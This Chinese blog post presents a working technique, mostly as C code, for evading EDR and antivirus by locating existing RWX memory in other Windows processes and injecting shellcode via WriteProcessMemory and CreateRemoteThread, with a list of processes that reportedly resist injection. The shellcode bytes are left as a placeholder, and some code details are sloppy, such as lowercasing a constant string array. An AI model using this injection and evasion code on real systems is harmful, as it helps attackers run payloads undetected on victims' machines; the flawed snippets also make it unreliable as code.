C语言-让注入进行到底

C语言-让注入进行到底

最近在学怎么干掉edr的内存保护

image-20201014001806531

查资料的过程中逐渐走上了一条不归路

image-20201013232919025

image-20201014001817468

然后查着查着就找到这篇文章Windows shellcode执行技术入门指南

RWX远程注入

原理介绍

其中介绍了一个@subTee分享的一个思路,通常我们执行shellcode需要给申请一段RWX的内存空间,还有一些免杀思路是先申请可读可写的空间,写入shellcode然后在设置内存空间可执行。但是这个操作会比较敏感(比如wd)。

1、遍历所有有权限的进程空间,搜索为RWX的内存空间。

2、利用OpenProcess打开目标进程。

3、WriteProcessMemory向目标内存写入shellcode。

4、CreateRemoteThread远程激活shellcode执行。

实现过程

遍历所有进程句柄,获取Process信息

原文中代码 OpenProcess需要只有PROCESS_QUERY_INFORMATIONimage-20201013235357398

但是调试过程中函数调用返回0,查资料后发现进程句柄需要有PROCESS_QUERY_INFORMATIONPROCESS_VM_READ的权限。

修改后代码:

    HMODULE hMod;
    DWORD cbNeeded;
    TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");

    HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID);
    if (NULL != process)
    {
        if (EnumProcessModules(process, &hMod, sizeof(hMod), &cbNeeded))
        {
            GetModuleBaseName(process, hMod, szProcessName, sizeof(szProcessName) / sizeof(TCHAR));
        }
    }

szProcessName为获取的进程名,后面有些进程无法注入,所以单独提出进程名是比较重要的一步,后面可以利用一个黑名单列表屏蔽掉一些已知的无法注入的进程。

排除无法注入进程名

以下是在win10/win8.1中测试出的一些常见进程名称,win10中能够比较稳定上线的是devenv.exe、onedrive.exe、ServiceHub.Host.Node.x86.exe

/*
字符串转小写
*/
char *strlowr(char *str)
{
    char *orign = str;
    for (; *str != '\0'; str++)
        *str = tolower(*str);
    return orign;
}
/*
字符串搜索
*/
static int str_search(const char*key, const char**pstr, int num)
{
    int i;

    for (i = 0; i < num; i++)
    {
        //// 指针数组  p首先是个指针  然后指向类型是地址 所以是二级指针
        if (strcmp(*pstr++, key) == 0)
        {
            return 0;
        }

    }

    return -1;

}
const char* blacklist[] = { "systemsettings.exe","cmd.exe","svchost.exe","smascui.exe","vmtoolsd.exe","lsass.exe","dllhost.exe","conhost.exe","sihost.exe","vm3dservice.exe","explorer.exe","360settingcenter.exe","searchui.exe","taskhostw.exe","shellexperiencehost.exe","chsime.exe","360tray.exe","RuntimeBroker.exe","softmgrlite.exe" };
    const char* pdest = strlowr(szProcessName);
    int ret;
    ret = str_search(pdest, strlowr(blacklist), sizeof(blacklist) / sizeof(char*));//字符串对比判断

搜索进程中RWX内存部分

搜索大小为0x00000000到0x7FFFFFFFF(0x7FFFFFFFF是int32的最大地址)

利用VirtualQueryEx查询地址空间中的内存地址信息。

long MaxAddress = 0x7fffffff;
            long address = 0;
            int c = 0;
            do
            {
                MEMORY_BASIC_INFORMATION m;
                int result = VirtualQueryEx(process, (LPVOID)address, &m, sizeof(MEMORY_BASIC_INFORMATION));
                if (m.AllocationProtect == PAGE_EXECUTE_READWRITE)
                {
                    printf("RWX found at 0x%x\n", m.BaseAddress);
                    return m.BaseAddress;
                }
                else if (c > 50000) {
                    printf(".");
                    c = 0;
                }
                else {
                    c += 1;
                }
                if (address == (long)m.BaseAddress + (long)m.RegionSize)
                    break;
                address = (long)m.BaseAddress + (long)m.RegionSize;
            } while (address <= MaxAddress);

第七行int result = VirtualQueryEx(process, (LPVOID)address, &m, sizeof(MEMORY_BASIC_INFORMATION));

其中&m是向MEMORY_BASIC_INFORMATION结构的指针,用于接收内存信息。

m.AllocationProtect == PAGE_EXECUTE_READWRITE 判断允许读写和执行代码。

根据返回内存地址和进程id注入shellcode

void Exec(LPVOID address, DWORD processID)
{
    printf("[*] Exec Shellcode... ");
    char shellcode[] = { shellcode操作码};
    HANDLE procHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
    WriteProcessMemory(procHandle, address, shellcode, sizeof(shellcode), 0);
    LPVOID hThread = CreateRemoteThread(procHandle, 0, 0, (LPVOID)(address), 0, 0, 0);
    printf("Done \n");
}

效果展示

image-20201014001630129

image-20201014001658195

本文链接:

http://8sec.cc/index.php/archives/432/
1 + 7 =
快来做第一个评论的人吧~